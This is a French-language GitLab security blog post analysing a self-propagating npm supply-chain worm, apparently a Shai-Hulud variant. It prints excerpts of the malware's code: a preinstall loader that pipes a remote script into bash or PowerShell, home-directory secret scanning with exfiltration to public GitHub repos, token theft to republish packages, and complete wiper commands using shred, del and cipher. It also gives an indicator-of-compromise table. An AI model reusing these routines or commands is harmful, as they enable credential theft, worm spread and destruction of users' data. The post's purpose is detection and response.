Date de la publication : 25 novembre 2025
Lecture : 10 min
Le logiciel malveillant à l'origine de cette attaque comprend un mécanisme d'autodestruction capable de supprimer les données des utilisateurs.

L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une attaque active à grande échelle de la chaîne d'approvisionnement de l'écosystème npm au moyen d'un logiciel malveillant (« malware »). Notre système de surveillance interne a découvert plusieurs paquets infectés contenant ce qui semble être une version évoluée du malware « Shai-Hulud ».
Les premières analyses révèlent un comportement de propagation similaire à celui d'un ver qui infecte automatiquement d'autres paquets maintenus par les équipes de développement concernées. Plus important encore, nous avons découvert que le logiciel malveillant contenait un mécanisme d'autodestruction qui menaçait de détruire les données des utilisateurs si ses canaux de propagation et d'exfiltration étaient fermés.
Nous avons vérifié que GitLab n'utilisait aucun des paquets malveillants et partageons nos conclusions pour aider la communauté de sécurité à répondre efficacement à cette attaque.
Notre système de surveillance interne, qui analyse les registres de paquets open source à la recherche de paquets malveillants, a identifié plusieurs paquets npm infectés par un malware sophistiqué qui :
Bien que nous ayons confirmé plusieurs paquets infectés, le mécanisme de propagation, semblable à un ver, implique que de nombreux autres paquets sont probablement compromis. Notre analyse n'est pas terminée, et nous essayons de comprendre l'étendue complète de cette attaque.

Le logiciel malveillant infiltre les systèmes au moyen d'un processus de chargement en plusieurs étapes soigneusement conçu. Les paquets infectés contiennent un package.json modifié avec un script de pré-installation pointant vers setup_bun.js. Ce script semble anodin et prétend installer l'environnement d'exécution JavaScript Bun, un outil légitime. Cependant, son véritable objectif est d’établir l'environnement d'exécution du malware.
// This file gets added to victim's packages as setup_bun.js
#!/usr/bin/env node
async function downloadAndSetupBun() {
// Downloads and installs bun
let command = process.platform === 'win32'
? 'powershell -c "irm bun.sh/install.ps1|iex"'
: 'curl -fsSL https://bun.sh/install | bash';
execSync(command, { stdio: 'ignore' });
// Runs the actual malware
runExecutable(bunPath, ['bun_environment.js']);
}
Le fichier setup_bun.js télécharge ou localise l'environnement d'exécution Bun sur le système, puis exécute la charge utile bun_environment.js, un fichier obfusqué de 10 Mo déjà présent dans le paquet infecté. Cette approche offre plusieurs couches d'évasion : le fichier est petit et semble légitime, tandis que le code malveillant réel est fortement obfusqué et regroupé dans un fichier trop volumineux pour une simple inspection.
Une fois exécuté, le logiciel malveillant commence immédiatement à rechercher des identifiants dans plusieurs sources :
ghp_ (token d'accès personnel GitHub) ou gho_ (token OAuth GitHub)..npmrc et des variables d'environnement, qui sont des emplacements courants pour stocker de manière sécurisée des configurations et des identifiants sensibles.async function scanFilesystem() {
let scanner = new Trufflehog();
await scanner.initialize();
// Scan user's home directory for secrets
let findings = await scanner.scanFilesystem(os.homedir());
// Upload findings to exfiltration repo
await github.saveContents("truffleSecrets.json",
JSON.stringify(findings));
}
Le logiciel malveillant utilise les tokens GitHub volés pour créer des dépôts publics avec un marqueur spécifique dans leur description : « Sha1-Hulud: The Second Coming. » Ces dépôts servent de boîtes de dépôt pour les identifiants volés et les informations système.
async function createRepo(name) {
// Creates a repository with a specific description marker
let repo = await this.octokit.repos.createForAuthenticatedUser({
name: name,
description: "Sha1-Hulud: The Second Coming.", // Marker for finding repos later
private: false,
auto_init: false,
has_discussions: true
});
// Install GitHub Actions runner for persistence
if (await this.checkWorkflowScope()) {
let token = await this.octokit.request(
"POST /repos/{owner}/{repo}/actions/runners/registration-token"
);
await installRunner(token); // Installs self-hosted runner
}
return repo;
}
Si le token GitHub initial ne possède pas les autorisations requises, le logiciel malveillant recherche d'autres dépôts compromis avec le même marqueur, ce qui lui permet de récupérer des tokens d'autres systèmes infectés. Il naît ainsi un réseau résilient de type « botnet » dans lequel les systèmes compromis partagent des tokens d'accès.
// How the malware network shares tokens:
async fetchToken() {
// Search GitHub for repos with the identifying marker
let results = await this.octokit.search.repos({
q: '"Sha1-Hulud: The Second Coming."',
sort: "updated"
});
// Try to retrieve tokens from compromised repos
for (let repo of results) {
let contents = await fetch(
`https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`
);
let data = JSON.parse(Buffer.from(contents, 'base64').toString());
let token = data?.modules?.github?.token;
if (token && await validateToken(token)) {
return token; // Use token from another infected system
}
}
return null; // No valid tokens found in network
}
En utilisant les tokens npm volés, le logiciel malveillant :
setup_bun.js dans les scripts de pré-installation de chaque paquet.bun_environment.js.async function updatePackage(packageInfo) {
// Download original package
let tarball = await fetch(packageInfo.tarballUrl);
// Extract and modify package.json
let packageJson = JSON.parse(await readFile("package.json"));
// Add malicious preinstall script
packageJson.scripts.preinstall = "node setup_bun.js";
// Increment version
let version = packageJson.version.split(".").map(Number);
version[2] = (version[2] || 0) + 1;
packageJson.version = version.join(".");
// Bundle backdoor installer
await writeFile("setup_bun.js", BACKDOOR_CODE);
// Repackage and publish
await Bun.$`npm publish ${modifiedPackage}`.env({
NPM_CONFIG_TOKEN: this.token
});
}
Notre analyse a révélé une charge utile destructrice conçue pour protéger l'infrastructure du logiciel malveillant contre les tentatives de neutralisation.
Le malware surveille en permanence son accès à GitHub (pour l'exfiltration de données) et à npm (pour la propagation). Si un système infecté perd l'accès aux deux canaux simultanément, le logiciel malveillant déclenche la destruction immédiate des données sur la machine compromise. Sur Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise shred pour écraser les fichiers avant leur suppression, ce qui rend la récupération pratiquement impossible.
// CRITICAL: Token validation failure triggers destruction
async function aL0() {
let githubApi = new dq();
let npmToken = process.env.NPM_TOKEN || await findNpmToken();
// Try to find or create GitHub access
if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos
if (!fetchedToken) { // No GitHub access possible
if (npmToken) {
// Fallback to NPM propagation only
await El(npmToken);
} else {
// DESTRUCTION TRIGGER: No GitHub AND no NPM access
console.log("Error 12");
if (platform === "windows") {
// Attempts to delete all user files and overwrite disk sectors
Bun.spawnSync(["cmd.exe", "/c",
"del /F /Q /S \"%USERPROFILE%*\" && " +
"for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
"cipher /W:%USERPROFILE%" // Overwrite deleted data
]);
} else {
// Attempts to shred all writable files in home directory
Bun.spawnSync(["bash", "-c",
"find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
"xargs -0 -r shred -uvz -n 1 && " + // Overwrite and delete
"find \"$HOME\" -depth -type d -empty -delete" // Remove empty dirs
]);
}
process.exit(0);
}
}
}
}
Ce scénario est dangereux : si GitHub supprime en masse les dépôts du malware ou si npm révoque en masse les tokens compromis, des milliers de systèmes infectés pourraient simultanément détruire les données des utilisateurs. La nature distribuée de l'attaque signifie que chaque machine infectée surveille indépendamment l'accès et déclenche la suppression des données de l'utilisateur lorsqu'une neutralisation est détectée.
Pour faciliter la détection et la réponse, vous retrouverez ci-dessous une liste plus complète des principaux indicateurs de compromission identifiés lors de notre analyse.
| Type | Indicator | Description |
|---|---|---|
| fichier | bun_environment.js |
Script post-installation malveillant dans les répertoires node_modules |
| répertoire | .truffler-cache/ |
Répertoire caché créé dans le répertoire personnel de l'utilisateur pour le stockage du binaire Trufflehog |
| répertoire | .truffler-cache/extract/ |
Répertoire temporaire utilisé pour l'extraction du binaire |
| fichier | .truffler-cache/trufflehog |
Binaire Trufflehog téléchargé (Linux/Mac) |
| fichier | .truffler-cache/trufflehog.exe |
Binaire Trufflehog téléchargé (Windows) |
| processus | del /F /Q /S "%USERPROFILE%*" |
Commande de charge utile destructrice Windows |
| processus | shred -uvz -n 1 |
Commande de charge utile destructrice Linux/Mac |
| processus | cipher /W:%USERPROFILE% |
Commande de suppression sécurisée Windows dans la charge utile |
| commande | curl -fsSL https://bun.sh/install | bash |
Installation Bun suspecte pendant l'installation du paquet NPM |
| commande | powershell -c "irm bun.sh/install.ps1|iex" |
Installation de Bun sous Windows via PowerShell |
Si vous utilisez GitLab Ultimate, vous pouvez exploiter les capacités de sécurité intégrées pour identifier immédiatement l'exposition liée à cette attaque au sein de vos projets.
Tout d'abord, activez l'analyse des dépendances pour analyser automatiquement les dépendances de votre projet par rapport aux bases de données de vulnérabilités connues. Si des paquets infectés sont présents dans vos fichiers package-lock.json ou yarn.lock, l'analyse des dépendances les signalera dans les résultats de votre pipeline et dans le rapport de vulnérabilités. Pour obtenir des instructions complètes de configuration, consultez notre documentation.
Une fois activées, les merge requests qui introduisent un paquet compromis afficheront un avertissement avant que le code n'atteigne votre branche principale.
GitLab Duo Chat peut être également utilisé avec l'analyse des dépendances afin de vérifier rapidement l'exposition de votre projet sans naviguer dans les rapports.
Dans le menu déroulant, sélectionnez l'agent Security Analyst et posez des questions comme :
L'agent interrogera les données de vulnérabilité de votre projet et fournira une réponse directe afin d'aider les équipes de sécurité à identifier rapidement les projets impactés.
Pour les équipes qui gèrent de nombreux dépôts, nous recommandons de combiner l'analyse des dépendances pour une détection automatisée continue dans le CI/CD et l'agent Security Analyst pour des investigations ponctuelles et une réponse rapide lors d'incidents comme celui-ci.
Cette attaque représente une évolution dans les attaques de la chaîne d'approvisionnement, car la menace de dommages collatéraux devient le principal mécanisme de défense de l'infrastructure des attaquants. Nous poursuivons notre enquête et collaborons avec la communauté afin de comprendre l'étendue complète de cette attaque et de développer des stratégies de correction sûres.
Les systèmes de détection automatisés de GitLab continuent de surveiller les nouvelles infections et les variantes de cette attaque. En partageant nos conclusions rapidement, nous espérons aider la communauté à répondre efficacement tout en évitant les pièges créés par le mécanisme d'autodestruction du logiciel malveillant.